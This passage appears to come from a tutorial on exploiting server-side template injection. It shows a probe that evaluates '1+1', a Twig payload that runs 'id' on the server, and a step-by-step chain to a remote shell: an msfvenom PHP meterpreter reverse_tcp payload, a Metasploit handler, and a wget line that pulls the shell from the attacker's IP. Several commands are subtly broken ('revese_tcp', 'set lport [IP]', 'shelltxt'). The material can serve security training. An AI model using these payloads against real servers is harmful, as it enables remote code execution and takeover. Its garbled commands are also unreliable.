We've reviewed the underlying problem with template engines. Now, let's check how it's possible to exploit them. See the following code:
var greet = 'Hello $name'; <ul> <% for(var i=0; i<data.length; i++) {%> <li><%= data[i] %></li> <% } %> </ul> <div> <p> Welcome, {{ username }} </p> </div>
In this code, the template engine is waiting for a name in order to show the Welcome string and the name entered. This line will be displayed to the user as a form, looking like this:
To test if it's vulnerable, we'll send a couple of numbers, waiting to be evaluated:
${{1+1}
When the values are sent, the application shows the following:
Hello 2
At this moment, the vulnerability is confirmed. We need to exploit it in order to determine what's the impact. I'll use the payloads developed by James Kettle, from his presentation Server-side Template Injection: RCE for the modern app. Let's insert the next line:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
The output will be something like that:
uid=1000(k) gid=1000(k) groups=1000(k),10(wheel)
This means we're able to execute a command in the server and get a response. One recommendation about that is to create a PHP handler using Metasploit to create a payload for directly executing commands using a shell:
- Create a PHP web shell using msfvenom, which is a tool created to generate payloads in a dynamic way. To create the PHP web shell, use the following command:
msfvenom -p php/meterpreter/revese_tcp -f raw LHOST=[IP] LPORT=4444 > /var/www/shell.txt
- After the web shell is created, a handler is needed that'll be receiving the connection. It can be created using the Metasploit framework, which is part of the same project as msfvenom:
use multi/handler set payload php/meterpreter/reverse_tcp set lhost [IP] set lport [IP] exploit
- Now, you just need to enter in the field the following line:
wget http://[IP]/shelltxt
With it, the vulnerable server will execute the wget command to download the shell to the server. When the shell is opened by the template engine, we receive the connection in our handler. Now, we can execute commands directly to the server.